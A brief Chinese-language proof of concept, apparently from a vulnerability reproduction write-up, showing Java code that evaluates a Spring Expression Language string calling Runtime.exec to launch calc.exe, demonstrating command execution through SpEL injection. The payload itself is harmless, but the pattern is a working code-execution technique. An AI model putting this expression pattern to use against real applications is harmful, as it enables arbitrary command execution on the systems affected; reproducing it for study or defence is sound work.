复现代码
- Pom.xml引入
SpringBoot官方example.
- Java引入
package springbootsimple.demo;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Run004 {
public static void main(String[] argv){
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc.exe').name");
String message = (String) exp.getValue();//getValue()
System.out.println(message);
}
}